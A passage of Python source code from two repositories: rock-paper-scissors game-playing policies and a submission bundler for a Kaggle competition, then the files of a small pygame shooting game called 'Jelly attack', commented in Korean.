np.array2string(history.iloc[-sequence_length:].to_numpy()) if sequence not in self.sequences.keys(): continue # Return the corresponding probabilities return self.sequences[sequence] / sum(self.sequences[sequence]) return EQUAL_PROBS class MaxOpponentHistoryPolicy(Policy): """ like MaxHistoryPolicy, but only looks at the moves of the opponent """ def __init__(self, max_sequence_length: int): super().__init__() self.name = "max_opponent_history_policy" self.max_sequence_length = max_sequence_length self.sequences = defaultdict(lambda: np.zeros((3,), dtype=np.int)) def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) < 2: # return equal probabilities at the start of the game return EQUAL_PROBS # Update the stored sequences with the opponent´s last move for sequence_length in range( 1, min(len(history) - 1, self.max_sequence_length) + 1 ): sequence = np.array2string( history.iloc[-sequence_length - 1 : -1][["opponent_action"]].to_numpy() ) self.sequences[sequence][int(history.loc[step - 1, "opponent_action"])] += 1 # Try to find a match for the current history and get the corresponding probabilities for sequence_length in range( min(len(history), self.max_sequence_length), 0, -1 ): # Determine whether the sequence has already occurred sequence = np.array2string( history.iloc[-sequence_length:][["opponent_action"]].to_numpy() ) if sequence not in self.sequences.keys(): continue # Return the corresponding probabilities return self.sequences[sequence] / sum(self.sequences[sequence]) return EQUAL_PROBS class RandomForestPolicy(Policy): """ uses a random forest classificator to predict the opponent´s action using the last moves as data """ def __init__(self, n_estimators: int, max_train_size: int, prediction_window: int): super().__init__() self.name = "random_forest_policy" self.is_deterministic = True self.model = RandomForestClassifier(n_estimators=n_estimators) self.max_train_size = max_train_size self.prediction_window = prediction_window self.X_train = np.ndarray(shape=(0, prediction_window * 2), dtype=np.int) self.y_train = np.ndarray(shape=(0, 1), dtype=np.int) def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) < self.prediction_window + 1: # Return equal probabilities until we have enough data return EQUAL_PROBS # Add the last prediction_window steps to the training data last_steps = history.iloc[-self.prediction_window - 1 : -1][ ["action", "opponent_action"] ].to_numpy() self.X_train = np.append( self.X_train, last_steps.reshape(1, self.prediction_window * 2) ) self.y_train = np.append(self.y_train, history.iloc[-1]["opponent_action"]) self.X_train = self.X_train.reshape(-1, self.prediction_window * 2) # Ensure we don´t use more than max_train_size samples if len(self.X_train) > self.max_train_size: self.X_train = self.X_train[1:] self.y_train = self.y_train[1:] # Fit the model self.model.fit(self.X_train, self.y_train) # Predict the opponent´s next action X_predict = history.iloc[-self.prediction_window :][ ["action", "opponent_action"] ].to_numpy() prediction = self.model.predict( X_predict.reshape(1, self.prediction_window * 2) ) # Return the counter of the action return np.roll(one_hot(int(prediction[0])), 1) class WinTieLosePolicy(Policy): """ chooses the next move based on the result of the last one, e.g. repeats winning moves and switches when losing """ def __init__(self, on_win: int, on_tie: int, on_lose: int): super().__init__() self.name = ( "on_win_" + str(on_win) + "_on_tie_" + str(on_tie) + "_on_lose_" + str(on_lose) + "_policy" ) self.is_deterministic = True self.on_win = on_win self.on_tie = on_tie self.on_lose = on_lose self.last_score = 0 def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) < 1: # Return equal probabilities on the first step return EQUAL_PROBS result = score - self.last_score self.last_score = score if result == 1: shift = self.on_win elif result == 0: shift = self.on_tie else: shift = self.on_lose return one_hot((int(history.loc[step - 1, "action"]) + shift) % 3) class FlattenPolicy(Policy): """ core concept developed by Tony Robinson (https://www.kaggle.com/tonyrobinson) Adapted from https://www.kaggle.com/tonyrobinson/flatten """ def __init__(self): super().__init__() self.name = "flatten_policy" self.is_deterministic = False self.countInc = 1e-30 self.countOp = self.countInc * np.ones((3, 3, 3)) self.countAg = self.countInc * np.ones((3, 3, 3)) self.reward = np.array([[0.0, -1.0, 1.0], [1.0, 0.0, -1.0], [-1.0, 1.0, 0.0]]) self.offset = 2.0 self.halfLife = 100.0 self.countPow = math.exp(math.log(2) / self.halfLife) self.histAgent = [] # Agent history self.histOpponent = [] # Opponent history self.nwin = 0 def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: if len(history) == 0: return EQUAL_PROBS opp_action = int(history.loc[step - 1, "opponent_action"]) self.histOpponent.append(opp_action) self.histAgent.append(int(history.loc[step - 1, "action"])) # score last game self.nwin += self.reward[self.histAgent[-1], opp_action] if step > 1: # increment predictors self.countOp[ self.histOpponent[-2], self.histAgent[-2], self.histOpponent[-1] ] += self.countInc self.countAg[ self.histOpponent[-2], self.histAgent[-2], self.histAgent[-1] ] += self.countInc if len(self.histOpponent) < 2: return EQUAL_PROBS # stochastically flatten the distribution count = self.countAg[self.histOpponent[-1], self.histAgent[-1]] dist = (self.offset + 1) * count.max() - self.offset * count.min() - count self.countInc *= self.countPow if np.sum(np.abs(dist)) == 0: return EQUAL_PROBS else: if np.min(dist) < 0: dist -= np.min(dist) dist *= 1 / np.sum(dist) return dist class RockPolicy(Policy): """ chooses Rock the whole time """ def __init__(self): super().__init__() self.name = "rock_policy" self.probs = np.array([1, 0, 0], dtype=np.float) self.is_deterministic = True def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: return self.probs class PaperPolicy(Policy): """ chooses Paper the whole time """ def __init__(self): super().__init__() self.name = "paper_policy" self.probs = np.array([0, 1, 0], dtype=np.float) self.is_deterministic = True def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: return self.probs class ScissorsPolicy(Policy): """ chooses Scissors the whole time """ def __init__(self): super().__init__() self.name = "scissors_policy" self.probs = np.array([0, 0, 1], dtype=np.float) self.is_deterministic = True def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: return self.probs def get_policies(): """ Returns a list of many polices """ # Initialize the different sets of policies random_policies = [RandomPolicy()] # Policies we shouldn´t derive incremented ones from basic_policies = [RockPolicy(), PaperPolicy(), ScissorsPolicy()] advanced_policies = [ FrequencyPolicy(), CopyLastActionPolicy(), TransitionMatrixPolicy(), TransitionTensorPolicy(), RandomForestPolicy(20, 20, 5), MaxHistoryPolicy(15), MaxOpponentHistoryPolicy(15), GeometryPolicy(), GreenbergPolicy(), SeedSearchPolicy(10000), ] # Add some popular sequences for seq_name, seq in SEQUENCES.items(): advanced_policies.append(SequencePolicy(seq, seq_name)) # Add some RPS Contest bots to the ensemble for agent_name, code in RPSCONTEST_BOTS.items(): advanced_policies.append(DeterministicRPSContestPolicy(code, agent_name)) # Strict versions of the advanced policies strict_policies = [ StrictPolicy(policy) for policy in advanced_policies if not policy.is_deterministic ] # Counter policies counter_policies = [ CounterPolicy(FrequencyPolicy()), CounterPolicy(CopyLastActionPolicy()), CounterPolicy(TransitionMatrixPolicy()), CounterPolicy(TransitionTensorPolicy()), CounterPolicy(MaxHistoryPolicy(15)), CounterPolicy(MaxOpponentHistoryPolicy(15)), CounterPolicy(IocainePolicy()), CounterPolicy(GreenbergPolicy()), AntiGeometryPolicy(), CounterPolicy(AntiGeometryPolicy()), ] # Add some RPS Contest bots to the ensemble for agent_name, code in RPSCONTEST_BOTS.items(): counter_policies.append( CounterPolicy(DeterministicRPSContestPolicy(code, agent_name)) ) strict_counter_policies = [ StrictPolicy(policy) for policy in counter_policies if not policy.is_deterministic ] # Sicilian reasoning incremented_policies = [ IncrementPolicy(policy) for policy in ( advanced_policies + strict_policies + counter_policies + strict_counter_policies ) ] double_incremented_policies = [ IncrementPolicy(policy) for policy in incremented_policies ] policies = ( random_policies + basic_policies + advanced_policies + strict_policies + incremented_policies + double_incremented_policies + counter_policies + strict_counter_policies ) return policies --- FILE SEPARATOR --- def generate_submissions(): """ Generates a single .py file for each agent """ commons = [ "agents/rpscontest_bots.py", "helpers.py", "policies.py", "agents/geometry_agent.py", "agents/iocaine_powder_policy.py", "agents/greenberg_policy.py", "agents/seed_searcher.py", "agents/anti_geo.py", ] agents = { "statistical_policy_ensemble": "agents/statistical_policy_ensemble_agent.py", "multi_armed_bandit": "agents/multi_armed_bandit.py", "neural_policy_ensemble": "agents/neural_policy_ensemble.py", } exclude_imports = ["agents/rpscontest_bots.py"] for agent in agents.keys(): imports = set() other_lines = [] for path in commons + [agents[agent]]: copy_imports = path not in exclude_imports with open(path, "r") as file: lines = file.readlines() for line in lines: if copy_imports and "import" in line: if "rpskaggle" not in line: imports.add(line.strip() + "\n") else: other_lines.append(line) with open(agent + "_submission.py", "w") as file: file.writelines(["%%writefile " + agent + ".py\n"]) file.writelines(imports) file.writelines(other_lines) if __name__ == "__main__": generate_submissions()
[ "/rpskaggle/agents/anti_geo.py", "/rpskaggle/agents/geometry_agent.py", "/rpskaggle/agents/greenberg_policy.py", "/rpskaggle/agents/multi_armed_bandit.py", "/rpskaggle/agents/naive_agent.py", "/rpskaggle/agents/neural_policy_ensemble.py", "/rpskaggle/agents/rpscontest_bots.py", "/rpskaggle/agents/seed_searcher.py", "/rpskaggle/agents/single_policy_agent.py", "/rpskaggle/agents/statistical_policy_ensemble_agent.py", "/rpskaggle/policies.py", "/rpskaggle/submission_utils.py" ]
0andme/Python-Shooting-Game
import pygame from Dic import * from Values import * def BackGround(ongame, Gameover): if not Gameover: if ongame: # 게임 진행 중 bg = [] bg.append(pygame.image.load(img_Dic+'bg.jpg')) bg.append( pygame.image.load(img_Dic+'bg.jpg')) else : # 게임 대기 화면 bg = pygame.image.load(img_Dic + 'Ready.png') else: bg = pygame.image.load(img_Dic + 'gameover.jpg') #bg.append(pygame.image.load(img_Dic+'bg3_gameover.png')) return bg --- FILE SEPARATOR --- # 모든 디렉터리 정리 from Values import * img_Dic='im/' # 이미지 폴더 최상위 img_userDic='im/player/' # 주인공 폴더 img_jellyDic=[] # 젤리 폴더 젤리 종류만큼 저장 (폭발 이미지 포함) for i in range(0,jelly_Num): img_jellyDic.append('im/jelly'+str(i)+'/') img_gunDic='im/gun/' # 총 폴더 (발사구 이미지) --- FILE SEPARATOR --- import pygame from Dic import * from Values import * from System import * mis = pygame.image.load(img_gunDic+'gunShoot.png') class projectile(object): def __init__(self,x,y,facing): self.x = x self.y = y self.radius = 20 #총알의 반지름 self.size=40 # 총알 이미지 크기 self.facing = facing # 총알의 증가 방향 self.vel = 10 * facing #총알 이동 거리 def draw(self,screen): screen.blit(mis, (self.x-self.radius, self.y-self.radius)) --- FILE SEPARATOR --- import pygame from Dic import * from Values import * from System import * img_HealKit1=pygame.image.load(img_Dic+'HealKit1.png') # 작은 사이즈 img_HealKit2=pygame.image.load(img_Dic+'HealKit2.png') img_HealKit3=pygame.image.load(img_Dic+'HealKit3.png') # 큰 사이즈 class HealKit(object): def __init__(self,x,y,num): self.x = x self.y = y self.vel = 5 self.num=num self.hitbox = (self.x, self.y, HealKitSize, HealKitSize) # hit 박스 self.geted=False self.size=HealSize-50*(3-num) def draw(self, screen): #self.move() if not self.geted: # 미획득시 if self.num == 1: img_HealKit=img_HealKit1 elif self.num == 2: img_HealKit = img_HealKit2 elif self.num == 3: img_HealKit = img_HealKit3 screen.blit(img_HealKit, (self.x, self.y)) #color = (0, 128, 0) #pygame.draw.rect(screen, color, (self.x, self.y,HealKitSize, HealKitSize)) #def move(self): #if not self.geted: # 미획득시 #self.x-=self.vel --- FILE SEPARATOR --- import pygame from Dic import * from Values import * from System import * img_Heart_RED = pygame.image.load(img_Dic+'heart_red.png') img_Heart_BLACK = pygame.image.load(img_Dic+'heart_black.png') class Heart(object): def __init__(self,x,y,die): self.x = x self.y = y self.die=die def draw(self, screen): if not self.die: screen.blit(img_Heart_RED, (self.x, self.y)) else: screen.blit(img_Heart_BLACK, (self.x, self.y)) --- FILE SEPARATOR --- import pygame from Dic import * from Values import * from System import * class Jelly(object): global walkRight, walkLeft,jelly_ex def __init__(self, x, y, num,width, height, end): self.x = x self.y =y self.xx=x self.xy=y/x self.yy=y self.end = end self.num = num self.score=(num+1)*50 self.width = width self.height = height self.path = [x, end] # 젤리의 이동 반경 self.path_Widith = end-x # 이동 반경의 넓이 self.walkCount = 0 self.vel = -3 # 걸음 방향, 속도 self.hitbox = (self.x, self.y, jelly_W, jelly_H) # hit 박스 self.health = health_Jelly self.die=False self.visible = True self.walkRight = [pygame.image.load(img_jellyDic[self.num] + 'R1E.png'), pygame.image.load(img_jellyDic[self.num] + 'R2E.png'), pygame.image.load(img_jellyDic[self.num] + 'R3E.png'), pygame.image.load(img_jellyDic[self.num] + 'R4E.png'), pygame.image.load(img_jellyDic[self.num] + 'R5E.png'), pygame.image.load(img_jellyDic[self.num] + 'R6E.png'), pygame.image.load(img_jellyDic[self.num] + 'R7E.png'), pygame.image.load(img_jellyDic[self.num] + 'R8E.png'), pygame.image.load(img_jellyDic[self.num] + 'R9E.png'), pygame.image.load(img_jellyDic[self.num] + 'R10E.png'), pygame.image.load(img_jellyDic[self.num] + 'R11E.png')] self.walkLeft = [pygame.image.load(img_jellyDic[self.num] + 'L1E.png'), pygame.image.load(img_jellyDic[self.num] + 'L2E.png'), pygame.image.load(img_jellyDic[self.num] + 'L3E.png'), pygame.image.load(img_jellyDic[self.num] + 'L4E.png'), pygame.image.load(img_jellyDic[self.num] + 'L5E.png'), pygame.image.load(img_jellyDic[self.num] + 'L6E.png'), pygame.image.load(img_jellyDic[self.num] + 'L7E.png'), pygame.image.load(img_jellyDic[self.num] + 'L8E.png'), pygame.image.load(img_jellyDic[self.num] + 'L9E.png'), pygame.image.load(img_jellyDic[self.num] + 'L10E.png'), pygame.image.load(img_jellyDic[self.num] + 'L11E.png')] self.jelly_ex = pygame.image.load(img_jellyDic[num] + 'explosion1.png') self.jelly_health=[pygame.image.load(img_Dic + 'jelly_health0.png'),pygame.image.load(img_Dic + 'jelly_health1.png')] # 젤리 스크린에 출력 def draw(self, screen): self.move() if self.visible :# 젤리가 스크린에 보여질 상태이면 == 안 죽었으면 if self.walkCount + 1 >= 33: self.walkCount = 0 if self.vel > 0: screen.blit(self.walkRight[self.walkCount // 3], (self.x, self.y)) self.walkCount += 1 else: screen.blit(self.walkLeft[self.walkCount // 3], (self.x, self.y)) self.walkCount += 1 if self.health<=health_Jelly/2: screen.blit(self.jelly_health[0], (self.x, self.y-20)) #pygame.draw.rect(screen, GREEN, (self.hitbox[0], self.hitbox[1] - 20, jelly_W, 10)) # 전체 체력 바 / x y 좌표, 가로, 세로 else: screen.blit(self.jelly_health[1], (self.x, self.y-20)) #pygame.draw.rect(screen,RED,(self.hitbox[0], self.hitbox[1] - 20, jelly_W - (5 * (10 - self.health)), 10)) # 현재 체력 표시 바 50픽셀안에 표시 self.hitbox = (self.x , self.y , jelly_W, jelly_H) if self.die: # 젤리가 죽었을 때 screen.blit(self.jelly_ex, (self.x, self.y)) # 폭발 이미지로 변경 def move(self): if self.vel < 0: if self.x>0: #self.vel=-self.vel self.x+=self.vel self.y = -self.xy * (self.x -self.xx ) + self.yy # 젤리가 맞았을 때 def hited(self): # hitSound.play() self.health -= Atk if self.health<=0: self.visible = False self.die=True --- FILE SEPARATOR --- import pygame from Dic import * from Values import * from System import * walkRight = [pygame.image.load(img_userDic+'R1.png'), pygame.image.load(img_userDic+'R2.png'), pygame.image.load(img_userDic+'R3.png'), pygame.image.load(img_userDic+'R4.png'), pygame.image.load(img_userDic+'R5.png'), pygame.image.load(img_userDic+'R6.png'), pygame.image.load(img_userDic+'R7.png'), pygame.image.load(img_userDic+'R8.png'), pygame.image.load(img_userDic+'R9.png')] walkLeft = [pygame.image.load(img_userDic+'L1.png'), pygame.image.load(img_userDic+'L2.png'), pygame.image.load(img_userDic+'L3.png'), pygame.image.load(img_userDic+'L4.png'), pygame.image.load(img_userDic+'L5.png'), pygame.image.load(img_userDic+'L6.png'), pygame.image.load(img_userDic+'L7.png'), pygame.image.load(img_userDic+'L8.png'), pygame.image.load(img_userDic+'L9.png')] char_standing=pygame.image.load(img_userDic+'standing.png') img_health_bar_nohit=pygame.image.load(img_Dic+'health_bar_nohit.png') img_health_bar_hit=pygame.image.load(img_Dic+'health_bar_hit.png') class player(object): # 플레이어 변수들 def __init__(self, x, y, width, height): # x 좌표, y 좌표, 가로 크기, 세로 크기 self.x = x self.y = y self.width = width self.height = height self.vel = 10 # 이동 폭 # 현재 방향 self.left = False self.right = False self.walkCount = 0 # 점프상태 플래그 self.isJump = False self.jumpCount = 10 # 서있는 상태 플래그 self.standing = True self.hited =False self.hitbox = (self.x + 17, self.y + 11, 29, 52) # 타격 박스 self.health = player_Health # 주인공 체력 # 플레이어 화면에 출력 관련 def draw(self, screen): if self.walkCount + 1 >= 27: self.walkCount = 0 if not (self.standing): #현재 움직이는 상태일 때 if self.left: screen.blit(walkLeft[self.walkCount // 3], (self.x, self.y)) self.walkCount += 1 elif self.right: screen.blit(walkRight[self.walkCount // 3], (self.x, self.y)) self.walkCount += 1 elif self.isJump: screen.blit(char_standing, (self.x, self.y)) # 점프하는 이미지 else: # 아무 버튼도 눌리지 않은 상태 일 때 screen.blit(char_standing, (self.x, self.y)) else: # 현재 정지 상태 일 때 if self.right: screen.blit(walkRight[0], (self.x, self.y)) elif self.left: screen.blit(walkLeft[0], (self.x, self.y)) elif self.isJump: screen.blit(char_standing, (self.x, self.y)) # 점프하는 이미지 else: screen.blit(char_standing, (self.x, self.y)) # 가만히 서있는 이미지 self.hitbox = (self.x , self.y , player_W, player_H) # 상위 왼쪽 X, 상위 왼쪽 y, 가로, 세로 # draw 체력 바 / (스크린, 칼라, (x ,y 좌표, 길이, 두께)) if self.hited: screen.blit(img_health_bar_hit, (img_Health_barX, img_Health_barY)) color = (255, 0, 0) # red self.hited=False else: screen.blit(img_health_bar_nohit, (img_Health_barX, img_Health_barY)) color = (0, 128, 0) # green pygame.draw.rect(screen,color, (player_Health_barX, player_Health_barY , self.health, player_Health_barH)) # 젤리와 충돌했을 때 함수 def hit(self): self.health-=del_Health # 현재 체력에서 del_Health 만큼 감소 self.hited=True font1 = pygame.font.SysFont('comicsans', 50) # 폰트 설정 (폰트 이름,크기) text = font1.render(str(-del_score), 1, (255, 0, 0)) # (텍스트, 부드럽게, 색상(red) ) screen.blit(text, (self.hitbox[0], self.hitbox[1]-50)) # (텍스트, 캐릭터 x좌표, 캐릭터 좌표 위로 50) #pygame.display.update() # 변경 사항 스크린에 표시 #pygame.time.delay(10) if self.health<=0: return True --- FILE SEPARATOR --- import pygame from Dic import * from Values import * #bulletSound = pygame.mixer.Sound(imagesDic+'music.mp3') # 총알 발사 사운드 #hitSound = pygame.mixer.Sound(imagesDic+'music.mp3') # 때리는 소리 #music = pygame.mixer.music.load(img_Dic+'music.mp3') # 배경음 사운드 #pygame.mixer.music.play(-1) # 배경음 플레이 --- FILE SEPARATOR --- import pygame from Values import * screen = pygame.display.set_mode((screen_W, screen_H)) pygame.display.set_caption("Jelly attack") # 타이틀 이름 clock = pygame.time.Clock() --- FILE SEPARATOR --- import random # 색상 RED=(255,0,0) ORANGE=(255,165,0) YELLOW=(255,255,0) GREEN=(0,128,0) BLUE=(30,144,255) BLACK=(0,0,0) WHILTE=(255,255,255) screen_W=960 # 스크린 가로 screen_H=480 # 스크린 세로 player_W=70 # 플레이어 가로 player_H=90 # 플레이어 세로 player_X=10 # 플레이어 초기 x player_Y=300 # 플레이어 초기 y jelly_W=50 # 젤리 가로 jelly_H=50 # 젤리 세로 jelly_Num=5 # 젤리의 종류 health_Jelly=10 # 젤리의 체력 player_Health = 250 # 주인공의 체력 Atk=5 # 주인공의 공격력 score_Jelly = 100 # 젤리 1 적중 시 얻는 점수 del_score = 10 # 주인공과 젤리가 충돌 시 깍이는 점수 del_Health =10 # 주인공과 젤리가 충돌 시 깍이는 주인공의 체력치 player_Health_barX = 100 # 주인공의 체력 바 x 좌표 player_Health_barY = 40 # 주인공의 체력 바 y 좌표 player_Health_barH = 38 # 주인공의 체력 바 높이=두께 img_Health_barX=player_Health_barX-50 # 체력 바 이미지 시작 x 위치 = 100-50=50 img_Health_barY=player_Health_barY-6# 체력 바 이미지 시작 y 좌표 = 40-6=34 img_Health_barH=50# 체력 바 이미지 높이 50 img_Health_barW=306 score_X=screen_W//2 score_Y=img_Health_barY+15 Heart_cnt_max=8 Heart_cnt_start=4 HeartX=img_Health_barX+10 HeartY=player_Health_barY+img_Health_barH HeartSize=35 HealSize=150 # 힐의 최대 사이즈 HealKitSize=50 # 힐 이미지의 사이즈 Healnum=random.randrange(1,4) # 힐 종류 3가지 HealTimeS=5 # 힐 화면 유지시간 S HealTimeE=10 # 힐 화면 유지 시간 E HealTime=random.randrange(5,10) # 힐 화면 유지 시간 (랜덤) time_HealTimeCnt=HealTime # 힐 유지시간 찍기 위한 변수 HealCycleS=10 # 힐 대기 시간 S HealCycleE=30 # 힐 대기 시간 E HealCycle=random.randrange(HealCycleS,HealCycleE) # 힐 대기 시간 (랜덤) time_readyCnt=HealCycle # 힐 대기시간 찍기위한 변수 OVERCOUNT=60 # 게임 자동 종료 시간 변수 --- FILE SEPARATOR --- import pygame import sys from datetime import * import os from System import * from Sound import * from Dic import * from Values import * from Background import * from Gun import * from Jelly import * from Player import * from Heart import * from Healkit import * # 스크린에 출력하는 함수------------------------------------------------------------------ def redrawGameWindow(jellys,x,y): background=BackGround(ongame,Gameover) screen.blit(background[0], (x, y)) # 배경화면 출력 screen.blit(background[1], (x+screen_W, y)) text = font_scorecnt.render(str(Score), 1, ORANGE) # 텍스트, anti-aliasing(읽기 쉽게 렌더링), 색깔 text_score=font_scoretext.render('SCORE', 1, ORANGE) text_healready = font_healReady.render(str(time_readyCnt), 1, ORANGE) text_healTime = font_healTime.render(str(time_HealTimeCnt), 1, ORANGE) img_Heal_Ready_Time=pygame.image.load(img_Dic + 'Heal_Ready_Time.png') jelly_score=pygame.image.load(img_Dic+'jelly_score.png') man.draw(screen) # 주인공 출력. if Score==0: screen.blit(text, (score_X, score_Y)) # 점수 출력 else: screen.blit(text, (score_X-30, score_Y)) # 점수 출력 screen.blit(text_score, (score_X-30, score_Y-20)) # 점수 출력 for bullet in bullets: # 총알 출력 bullet.draw(screen) for heart in hearts: # 하트 출력 heart.draw(screen) for num in range(0,jelly_Num): #젤리 출력 jellys[num].draw(screen) if inHeal: #힐 출력 if Heal.geted: text_healSize = font_healSize.render('+' + str(Heal.size), 1, GREEN) screen.blit(text_healSize, (Heal.x, Heal.y)) # 점수 출력 else: Heal.draw(screen) if time_readyCnt>=0 and readyHeal:#힐 타임 이미지 흑백 출력 screen.blit(img_Heal_Ready_Time, (img_Health_barX + img_Health_barW + 25, img_Health_barY + 3)) # 힐 대기 이미지 출력 if time_readyCnt//10 == 0: screen.blit(text_healready, (img_Health_barX+img_Health_barW+40, img_Health_barY+53)) # 힐 대기 시간 출력(0~9초) else: screen.blit(text_healready, (img_Health_barX+img_Health_barW+35, img_Health_barY+53)) # 힐 대기 시간 출력 if time_HealTimeCnt>=0 and inHeal: screen.blit(text_healTime, (Heal.x+19, Heal.y-25)) # 힐 유지 시간 출력 / 포션 위에 출력 screen.blit(jelly_score, (screen_W-250, 20)) pygame.display.update() #변경 사항 갱신 # 메인 메뉴 함수----------------------------------------------------------------------------- def menu(): Gameover = False ongame = False while not ongame: # 창을 닫거나 Esc를 누르면 게임 종료 for event in pygame.event.get(): if event.type == pygame.QUIT : # or event.type == pygame.K_ESCAPE: pygame.quit() sys.exit() elif event.type == pygame.MOUSEBUTTONDOWN: # 마우스 클릭 시 화면 전환 ongame =True return ongame background=BackGround(ongame,Gameover) screen.blit(background, (0, 0)) pygame.display.update() # main 함수----------------------------------------------------------------------------- pygame.init() # 폰트 설정 / 폰트 이름, 사이즈, 굵기 true # 힐 포션 숫자 폰트 지정 font_healTime = pygame.font.SysFont("comicsans", 30, True, False) font_healTime = pygame.font.SysFont("comicsans", 30, True, False) font_healReady= pygame.font.SysFont("comicsans", 30, True, False) #게임 내 스코어 폰트 지정(숫자) font_scorecnt = pygame.font.SysFont("comicsans", 50, True,False) # 게임 내 스코어 폰트 지정(문자) font_scoretext = pygame.font.SysFont("comicsans",30, True,False) # 힐 획득 시 증가되는 체력 폰트 지정 font_healSize=pygame.font.SysFont("comicsans",30, True,False) # 게임 오버 화면 폰트지정 font_endScore = pygame.font.SysFont("comicsans", 50, True, False) font_cnt = pygame.font.SysFont("comicsans", 100, True, False) Gameover = False ongame = False makeHeal = True readyHeal =False Score = 0 bgX = 0 bgY = 0 hearts=[] jellys=[] jelly_num_now=jelly_Num mandie=False Heartcnt=Heart_cnt_start time_readyHeal = datetime.now() man = player(player_X, player_Y, player_W, player_H) for i in range(0,Heart_cnt_max): # 하트 리스트 생성 if i>=Heart_cnt_start: mandie=True else: mandie=False hearts.append(Heart(HeartX+i*HeartSize,HeartY,mandie)) for num in range(0,jelly_Num): jelly_X_Start = screen_W / 3 * 2 # 젤리 출현 최소 x jelly_X_End = screen_W - jelly_W # 젤리 출현 최대 jellyX = random.randrange(jelly_X_Start, jelly_X_End) jellyY = random.randrange(img_Health_barY + 50 + 30, player_Y) jellys.append(Jelly(jellyX,jellyY,num,jelly_W,jelly_H,jelly_X_End)) bullets = [] while not Gameover: clock.tick(120) gunloop = 0 # 총알이 다중으로 발사되는 것을 막기 위한 것 # 총알 리스트 작성 if ongame==False and Gameover==False: # 메뉴화면 ongame=menu() Score = 0 bgX = 0 bgY = 0 mandie=False makeHeal=True inHeal=False readyHeal=False Heartcnt = Heart_cnt_start man = player(player_X, player_Y, player_W, player_H) bullets = [] jelly_num_now=jelly_Num for num in range(0,jelly_Num): if not jellys[num].visible : # 젤리가 없으면 젤리 재생성 jelly_X_Start = screen_W/3*2 # 젤리 출현 최소 x jelly_X_End = screen_W - jelly_W # 젤리 출현 최대 jelly_X = random.randrange(jelly_X_Start, jelly_X_End) jelly_Y = random.randrange(img_Health_barY+50+30, player_Y) # x좌표, y좌표, 젤리 번호, 적 가로, 적 세로, 가능한 최고 x좌표 del jellys[num] newjelly=Jelly(jelly_X,jelly_Y,num,jelly_W,jelly_H,jelly_X_End) jellys.insert(num,newjelly) redrawGameWindow(jellys,bgX,bgY) if makeHeal: # 힐 생성 허용 플래그 T일때만 힐 생성 # 힐 랜덤 위치 생성 Heal_X_Start=screen_W/3 Heal_X_End=screen_W - HealKitSize Heal_X=random.randrange(Heal_X_Start, Heal_X_End) Heal_Y=random.randrange(player_Y - 2 * player_H, player_Y) Healnum=random.randrange(1,4) #힐 현재상태 플래그 변경 makeHeal = False inHeal=True readyHeal=False # 힐 생성 Heal = HealKit(Heal_X, Heal_Y,Healnum) time_makeHeal = datetime.now() # 힐 출현 시간 시작 HealTime=random.randrange(HealTimeS,HealTimeE) time_HealTimeCnt=HealTime redrawGameWindow(jellys, bgX, bgY) for i in range(0, Heartcnt): hearts[i].die=False while ongame: clock.tick(27) # 젤리와 주인공과의 충돌 확인 for num in range(0,jelly_Num): if man.hitbox[1] < jellys[num].hitbox[1] + jellys[num].hitbox[3] and man.hitbox[1] + man.hitbox[3] > jellys[num].hitbox[1]: if man.hitbox[0] + man.hitbox[2] > jellys[num].hitbox[0] and man.hitbox[0] < jellys[num].hitbox[0] + jellys[num].hitbox[2]: # 젤리와 겹쳐져 있는 경우 manhited=man.hit() if manhited: # 체력 0 Heartcnt-=1 hearts[Heartcnt].die=True man.health=player_Health redrawGameWindow(jellys, bgX, bgY) break if Heartcnt<1: Gameover = True ongame = False break # 주인공과 힐 키트 충돌 확인 if inHeal: if man.hitbox[1] < Heal.y + HealKitSize and man.hitbox[1] + man.hitbox[3] > Heal.y: if man.hitbox[0] + man.hitbox[2] > Heal.x and man.hitbox[0] < Heal.x + HealKitSize: Heal.geted = True man.health+= Heal.size # 체력 증가 # 최대 체력을 넘겼을 때 if man.health >player_Health: # 현재 하트가 최대 일 때 if Heartcnt>=Heart_cnt_max: man.health=player_Health #최대 체력으로 제한 else: Heartcnt+=1 # 하트 개수 증가 man.health-=player_Health # 체력 조정 # 힐 먹었으니 힐 삭제 redrawGameWindow(jellys, bgX, bgY) del Heal inHeal = False makeHeal = False readyHeal = True time_readyHeal = datetime.now() # 힐 대기 시작 HealCycle = random.randrange(HealCycleS, HealCycleE) # 대기 시간 조정 time_readyCnt=HealCycle break # 힐 삭제 재생성 관련 if inHeal: # 힐이 있을 때 if timedelta(seconds=HealTime) <=datetime.now( )-time_makeHeal: # 힐 타임이 끝났을 때 Heal.geted=True redrawGameWindow(jellys,bgX,bgY) del Heal inHeal = False makeHeal=False readyHeal=True time_readyHeal = datetime.now() # 힐 대기 시간 HealCycle=random.randrange(HealCycleS,HealCycleE) # 대기 시간 조정 time_readyCnt=HealCycle break else: if timedelta(seconds=HealTime-time_HealTimeCnt) <=datetime.now( )-time_makeHeal:# redrawGameWindow(jellys, bgX, bgY) time_HealTimeCnt-=1 break if readyHeal: if timedelta(seconds=HealCycle) <= datetime.now() - time_readyHeal: #힐 대기 시간<=현재 대기 시간 makeHeal=True readyHeal=False redrawGameWindow(jellys, bgX, bgY) break else: if timedelta(seconds=HealCycle-time_readyCnt) <=datetime.now( )-time_readyHeal:# redrawGameWindow(jellys, bgX, bgY) time_readyCnt-=1 break #총이 연속적으로 나가는 것을 막기 위한 format if gunloop > 0: gunloop += 1 if gunloop > 3: gunloop = 0 # 창을 닫거나 Esc를 누르면 게임 종료 for event in pygame.event.get(): if event.type == pygame.QUIT : # or event.type == pygame.K_ESCAPE: ongame = False pygame.quit() sys.exit() # 총알에 맞았는지 확인하고 맞으면 처리하는 함수 for bullet in bullets: delgun = False for num in range(0,jelly_Num): if bullet.y - bullet.radius < jellys[num].hitbox[1] + jellys[num].hitbox[3] and bullet.y + bullet.radius > jellys[num].hitbox[ 1]: # x좌표 확인 if bullet.x + bullet.radius > jellys[num].hitbox[0] and bullet.x - bullet.radius < jellys[num].hitbox[0] + \ jellys[num].hitbox[2]: #y 좌표 확인 # 젤리가 총에 맞은게 맞을 때 jellys[num].hited() # 젤리 때리기 delgun=True # 젤리가 죽었을 때 점수 추가 if not 